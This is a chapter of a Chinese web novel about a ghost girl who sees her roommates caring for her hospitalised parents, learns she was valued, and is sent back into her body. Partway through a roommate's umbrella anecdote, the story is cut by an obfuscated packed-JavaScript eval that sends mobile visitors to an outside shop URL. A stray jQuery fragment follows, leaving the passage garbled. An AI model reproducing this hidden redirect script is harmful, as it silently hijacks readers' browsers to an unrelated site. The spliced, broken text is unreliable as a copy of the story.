兰以禾的身体此时依旧无知无觉地躺在医院里,几人决定直接前往医院。
从陈浩轩家中出来的时候,天边已经泛起了淡淡的鱼肚白,初晨的阳光耀眼却并不刺目,御风咒召唤出的云朵载着三人一鬼漂浮在碧蓝高远的天空中。
天蓝气清,云渺光照,好像治愈系动漫开头的一幕。
一夜打斗,难得这样令人神清气爽的时刻,兰以禾却始终低头不言。技不如人,准确来说是技不如妖,更别说如今唯一重返阳世的希望又被掌握在别人手上,她此时绝不敢轻举妄动。
何况,她本身也并不是什么穷凶极恶之徒。
女鬼闪着黑红光芒的瞳孔渐渐浸染上了晨光的颜色,天地相连,仿佛无边无际,大自然的无穷总能冲散平凡人世的一些纠缠烦扰。
兰以禾的一颗心,一个人,自从认识陈浩轩后,就全拴在了他身上。看着他一天火过一天,就好像那光芒也能延伸倾洒到自己身上。
如今,时过境迁,发现曾经迷恋的人也不过如此。兰以禾低头轻笑一声,无奈摇头。
无论法力再强,毕竟也是鬼魂,何况还要还魂,白沛源不想兰以禾的魂体被清早旺盛的阳气灼伤,御风拼命催动云朵,赶在天光大亮之前到达了医院。
清早六点多钟的病房,一些起得比较早的人已经开始走出病房,解手,买早餐,轻手轻脚地在走廊穿行。
兰以禾家并不在宁安市内,父母得知她出事后,连夜从老家赶来,一直在病房陪护。
兰以禾摔下楼梯的当天,就魂魄离体,发现自己变为鬼魂后,她卷挟着滔天的怒火,一直跟在陈浩轩身边,知道发现自己实力已经增长到可以现身作祟。
她没有一秒去想生前的亲朋好友,其实,也是不敢去想。
几人依旧隐身在病房门口,正准备敲门进去,就听见一阵窸窸窣窣的塑料袋摩擦声传来。
循声望去,是几个青春靓丽的女孩子——是兰以禾的室友。
女鬼先是一愣,仿佛怕自己的鬼气伤害到她们一般,反应过来后迅速后退一步,正好让出了门口的位置。
穿着印了懒羊羊图案的李橘意走在最前面,“快点快点,再不拿碗接住,豆浆要全洒出来了。”
落在她身后一小步,手里还拎着大牌限定包的张诗雅连忙对她“嘘”了一声,“嘘,小声点,叔叔阿姨没准还睡着呢。”
“唉。”身材苗条匀称,脸蛋姣好的陈先雪叹了口气,“小禾出了这样的事,叔叔阿姨哭得眼睛肿到老大,又怎么能睡得着啊?”
这话一出,几人脚步都顿了一下,心中不免难受,齐声哀叹了一下。
“别提这茬了,都怪我,不该说的。”陈先雪开口说道:“一会见了叔叔阿姨,可得像前几天一样,别说不该说的。”
“当然,放心吧。咱们的目标就是好好宽慰他们。”张诗雅点头赞同。
就在这时,门突然拉开了,兰以禾的父亲兰爱国看见是这三个小姑娘来了,赶忙招呼她们进病房。
白沛源几人不好在有人的情况下进去帮兰以禾回魂,而且,兰以禾自从看见室友和家人,情绪似乎就有些崩溃,眼神中充满愧疚不舍。
因此,他们只继续隐在一旁,默不作声地观察着。
病房内,摆着两张简易的行军床,上面盖着厚厚的毛绒毯子。兰以禾的父母都上了年纪,夏末初秋的晚上,关上窗热,打开窗冷,盖着这样的毯子开窗通风睡觉正好。
听见来人,兰以禾的母亲徐秋也掀开毯子起身,三个女孩连忙上前止住她的动作。
“别别,阿姨您接着躺会儿吧。都怪我们来太早了,想着给你们带点营养的早餐。”
徐秋和兰爱国身体都不太好,尤其是徐秋早年生兰以禾伤了身子,家境不好,月子里就出门做工,落下了病根。
她被几个女孩轻柔却坚定的动作按在了床上,这几个孩子自从兰以禾出事后就一直忙前忙后,她也不和她们客气,把毯子裹在身上取暖。
李橘意将豆浆倒在桌上的保温杯里,端给蓝爱国喝徐秋,徐秋啜着杯中微甜的热豆浆,感激地看向三人,“多亏了你们几个孩子,要不然,就凭我们两个老骨头,真不知道能撑多久。”
她粗糙的手抚摸过肩上十分柔软的毯子,“这毛毯,每日三餐,都是你们拿来的。更别提,还有这些住院费,全是你们帮着掏的。”
说到这,三个女孩都有些不好意思,陈先雪微红着脸,“钱都是诗雅出的,我们两个也就是帮着跑跑腿。”
张诗雅一听点到了自己的名字,连忙摆手,“本来就是室友,如今,”说到这,她像被咬了舌头一般。
旁边的两人赶忙戳着她的腰间肉,示意她赶紧住嘴,别再往下说了。
张诗雅也反应了过来,赶紧吞咽下了之后的几个字。
“我们帮忙本来就是应该的,叔叔阿姨千万不要这么客气。”
一向沉默寡言的中年人蓝爱国抹了一把脸,但是任谁都能看出他眼中那些含蓄的,未曾掉落的泪水。
他沙哑着嗓子说:“这些感恩的客套话我们就不再多讲了。你们三个人的好,叔叔阿姨都记在心里。我们虽然不能对你们有什么多余的帮助?但是假设有一天,有需要用到我们这两把老骨头的地方。一定要跟叔叔阿姨讲。”
三人一个劲儿的点头,赶紧把这一页掀了过去。三人平日早上也有课,无法待太久,在病房坐了半个小时,给兰爱国与徐秋讲了许多兰以禾的趣事,或者是室友间的小故事,逗得两人难得露出了笑脸。
李橘意性格开朗活泼,和谁都聊得来处得好,此时打头阵,“有一次,我出去做兼职,回来的路上没带伞,地铁口的一把透明雨伞只卖十块,但我硬是没舍得买,准备顶着大雨跑回来。”
陈先雪和张诗雅补充细节,“对对,我记得那次,宁安市难得的台风天,你还拍了地铁口的大雨和巨大水坑发在了寝室群里。”
李橘意不住点头,“没错,就是那次,叔叔阿姨,不是我跟你们夸大事实,那天的水坑都没过了脚踝。我本来想雨停了再走,可是下的太大了,我就在群里发照片吐槽,没想到以禾看见消息,居然拿着伞跑到地铁口接我。”
“她拿着伞出现在地铁口的那一瞬间,我感觉她简直就是我的齐天大圣。”
张诗雅也接话:“以禾就是这么个乐于助人的性子。”
兰爱国点着头,徐秋也盈满了泪水,“没错,以和从小就是这么个性子。”
李橘意讲这个故事的目的并不是引起他们伤心,因此急忙接着讲接下来的情节。
“不过叔叔阿姨,你们猜当天怎么着?以禾一路拿着伞冲过来接我,到了地铁口才发现,她拿的伞漏了个大咚,只不过雨太大她压根没发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17961729|210399||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
现。最后我们俩只好顶着雨回去!”
“对对对,那天她俩简直就是两个落汤鸡!浑身都湿透了哈哈哈!”
三个人就这么陪着兰以禾的父母说说笑笑,冲散她们的忧虑。
兰以禾一直没有动弹,就站在门口,静静地听几人口中的自己。她一直以为自己是平庸的普通的,不合群的。
她以为室友们只是平平之交,她们眼中的自己再普通不过,没想到。
她看着病房内眉飞色舞地讲着和自己之间各种小趣事的室友们,一阵恍惚——原来,她们眼中的自己,也是那么的独特,有着自己的魅力吗?
——原来,我的自卑其实毫无必要吗?
——原来,我不需要借浩轩的光,自己也可以闪耀吗?
她突然想起来,那个第一次刷到浩轩直播间的夜晚,当室友们手挽手走出门时,她隐约听见的另一段对话。
——“以禾还是不和我们出去吗?”
——“别叫她了,以禾性子安静,和咱三个疯婆子不一样,她喜欢安静听音乐,看电影什么的。”
——“可是……”
——“别可是了,她不喜欢,硬逼着她去,她又不自在。我知道咱们这次去的这家店附近有个饰品店风格特别配她,咱们买个小礼物给她惊喜一下,马上就是她生日了!”
——“对哦,走走走,我们快去挑一个!”
几人的声音越来越远,渐渐消失在走廊尽头,黑暗的寝室中响起的,恰恰是浩轩直播间的歌声。
她听得入迷,挂掉了父母拨来的语音电话,父亲转而发了条语音,问她最近在学校怎么样,生日有没有想要的礼物。
她被那个男孩吸引住,没有仔细理会父母的语音,只听了几秒,就切回直播间,打下了一条评论——“晚上好!你也喜欢唱歌听歌吗?“”
——“原来,是这样的吗?原来,是我顾影自怜,忘却了自己的好,别人的好,只把热情真心都投给了不值得的人吗?原来——像我这样普通的人,也一直有人爱吗?”
她捂着脸蹲下身放声大哭,周身黑雾被释然的泪水洗净。
白沛源看着那个蜷缩成一团的小身影,缓缓掏出手机,拨打一个前缀为444的电话号码。
“喂,可以了,你来帮我们看看情况,把她送回身体吧。”
电话那头传来了清脆的声音,“没问题,包在我身上!”
周一洲和谢川泽突然感觉身后传来一股响动,再一回头,身后突然出现了个女人的身影。
谢川泽还好,周一洲吓得差点没蹦到白沛源头上去。
来的人正是方晓沅,她受白沛源之托曾来看过兰以禾的情况,发现她并未完全身死。
她走到兰以禾的背后,在她朦胧的泪眼看过来前,一掌朝着她的后背挥出,“魂归原身,无惊无扰!”
一阵巨力袭来,兰以禾的魂体瞬间被打回她躺在病床上的身体。眼睫微动,手指轻颤,正擦拭着女儿身体的徐秋生怕自己眼花,赶紧一边叫兰爱国来看,一边冲出病房。
她顾不得什么不能大喊的规矩,也忘了床头就有呼唤护士的按铃。
她疾步出了病房,喜悦地高声喊:“护士,护士,我女儿好像醒了!”
因为哽咽,最后两个字没太发清楚,她拿袖子抹掉眼泪,又重新喊了一遍:“我女儿,醒了!”